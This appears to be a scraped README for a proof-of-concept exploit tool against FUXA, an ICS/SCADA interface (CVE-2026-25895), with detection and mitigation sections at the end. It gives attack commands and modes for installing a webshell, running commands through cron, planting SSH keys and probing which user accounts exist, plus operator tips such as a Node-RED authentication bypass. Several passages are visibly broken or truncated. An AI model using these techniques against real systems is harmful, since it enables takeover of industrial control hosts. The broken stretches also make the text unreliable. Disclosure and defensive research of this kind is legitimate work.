## https://sploitus.com/exploit?id=56876268-5FBE-5C5E-8C4B-970AAF8B6BBB
# CVE-2026-25895 โ FUXA `) for code execution within 60 seconds
when FUXA runs as `root` (the default in the vendor's Docker image)
- Install an HTTP webshell listener bound inside the FUXA Node process
- Drop SSH public keys into `/root/.ssh/authorized_keys` or any user's
`~/.ssh/authorized_keys`
- Enumerate the local user account running FUXA and other accounts present
on the host via a filesystem-level side channel
This is a pre-auth critical severity finding on an ICS/SCADA platform used
to operate industrial processes.
## Affected Versions
| Version | Status |
| ---------- | -------------- |
| ` /tmp/fx.txt 2>&1'
```
### Persistent webshell via `settings.js` replacement
Install an HTTP webshell listener inside the FUXA Node process (activates on
next cold start, since `require()` caches modules), then drop into an
interactive REPL once FUXA restarts:
```bash
# Stage the payload โ replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token --interact
```
## Operating Modes
| Mode | Purpose |
| --------------- | ------------------------------------------------------------- |
| `recon` | Unauthenticated info leak via `GET /api/settings`; infers running OS user from absolute paths; reports Node-RED status; optional `--probe-root` and `--probe-home` active probes |
| `canary` | Proof of the file-write primitive with a neutral default path |
| `settings-rce` | Replaces `settings.js` with a payload that runs a configurable command on the next FUXA cold start |
| `ssh-key` | Writes a public key to a target user's `authorized_keys` |
| `drop` | Arbitrary file drop to any absolute path |
| `cron` | Drops `/etc/cron.d/` for RCE within 60 seconds without waiting for a FUXA restart (requires FUXA running as `root`) |
| `webshell` | Installs an HTTP webshell listener inside the FUXA Node process via `settings.js` replacement (activates on next cold start) |
| `webshell-exec` | Client for an already-installed webshell; single command or `--interact` REPL |
Full per-mode flag reference: `python3 fuxapwn.py --help`.
## Technical Notes
### Unauthenticated configuration leak
`GET /api/settings` (`server/api/index.js:103`) is registered without
middleware and returns the live runtime configuration, lightly redacted
(the server deletes `secretCode` and `smtp.password` before sending). The
remaining fields leak absolute paths (`appDir`, `workDir`, `userSettingsFile`,
`logsDir`, `uploadFileDir`) that typically identify the service user, plus
`nodeRedEnabled`, which is a direct tell for a secondary unauthenticated
RCE path (see below).
### Running-user enumeration on non-root, non-Docker installs
When FUXA is launched via `npm start` under a local user account and install
paths don't encode the user (e.g. the install lives under `/opt`, `/tmp`, or
a generic `/app`), and `/root/` is not writable, the POC falls back to
iterating `/home//` with zero-byte writes.
The FUXA upload handler conditionally calls
`fs.mkdirSync(parent, { recursive: true })` before `fs.writeFileSync`, which
creates an EACCES ambiguity: a non-existent `/home//` fails with
`EACCES` on the `mkdir` attempt (the process cannot create directories under
root-owned `/home/`), while an existing `/home//` with mode `0700`
fails `EACCES` on the write itself. Same errno, different meaning. The POC
disambiguates by parsing the syscall token out of the server-forwarded
`err.message` (libuv format `": , ''"`) and
only reports `EACCES`-on-open (or any non-`mkdir` syscall) as "other user
exists." This eliminates the false-positive lateral-movement list that a
naive errno-only probe would produce.
### Node-RED secondary RCE path
If `nodeRedEnabled = true` in the leaked settings, FUXA's embedded Node-RED
admin endpoints (`/nodered/flows/deploy`, etc.) are reachable
unauthenticated because of a Referer-header whitelist check
(`node-red/index.js:134-136`) that accepts any request whose `Referer`
contains `/editor`, `/viewer`, or `/lab`. This yields instant unauthenticated
RCE via a function node without requiring a restart. The `recon` mode flags
this condition; operators should prefer it when available.
### `settings.js` payloads preserve target configuration
When generating a `settings.js` replacement (modes `settings-rce` and
`webshell`), the POC first fetches the live config via `/api/settings` and
JSON-serializes it as the `module.exports` body (JSON is a valid JavaScript
object literal subset). This preserves the target's `uiPort`,
`allowedOrigins`, `secureEnabled`, and other runtime settings so the
application continues to serve normally after the replacement. The POC warns
explicitly when the target has `secureEnabled = true` or an `smtp` block,
since the server-side redaction removes `secretCode` (JWT fallback will kick
in) and `smtp.password` (email will break until manually restored).
## Detection / Indicators
- HTTP access log entries: `POST /api/upload` from unauthenticated sources,
particularly with `destination` values containing `..` or absolute
filesystem paths in the response
- `GET /api/settings` from unauthenticated sources (normally only used by
the authenticated UI)
- Files matching `/tmp/healthcheck*`, `/tmp/.fuxa-probe-*`, or
`/home/*/.fuxa-probe-*` (default canary and probe marker filenames โ the
POC allows overriding these to avoid obvious IOCs, so absence does not
rule out exploitation)
- Modified timestamps on `settings.js`, `/etc/cron.d/*`, or
`~/.ssh/authorized_keys` that do not correspond to an administrator
action
- New listeners on the FUXA host bound to unexpected ports (webshell mode
binds a configurable port inside the Node process)
## Mitigation
- **Upgrade to FUXA 1.2.10 or later.** The `/api/upload` endpoint is
protected by the standard middleware chain in the patched release.
- Network-segment the FUXA management interface. ICS/SCADA HMIs should not
be reachable from untrusted networks.
- If immediate upgrade is not possible, front FUXA with a reverse proxy
that blocks unauthenticated requests to `/api/upload` and `/api/settings`.
- Run FUXA as a dedicated unprivileged service account. This does not
prevent exploitation but significantly reduces blast radius (no `/root/`
write, no `/etc/cron.d/` write, no host-wide persistence via cron).
- Disable Node-RED (`nodeRedEnabled = false`) if it is not actively used.
## References
- NVD:
- Vendor:
- Patch: FUXA release `1.2.10`
- Vulnerable source: `server/api/projects/index.js:193` in FUXA `1.2.9`
## Credit
Research, PoC, and writeup by **Anthony Cihan** (`Hann1bl3L3ct3r`), Lead of
Offensive Security.
## Authorization and Legal
This repository contains functional exploit code for a critical vulnerability
in an ICS/SCADA product. It is published under responsible-disclosure
principles, after vendor patching, for the benefit of defenders (detection
authors, incident responders) and authorized security testers.
**Use only against systems you own or for which you have explicit, written
authorization to test.** Unauthorized use of this code against third-party
systems is illegal in most jurisdictions and will be treated as such by the
author. The author accepts no liability for misuse.
If you are a FUXA operator and want help validating your patch level against
this PoC under controlled conditions, contact the author.
## License
Released for authorized security-testing and defensive-research purposes.
See `LICENSE` for full terms.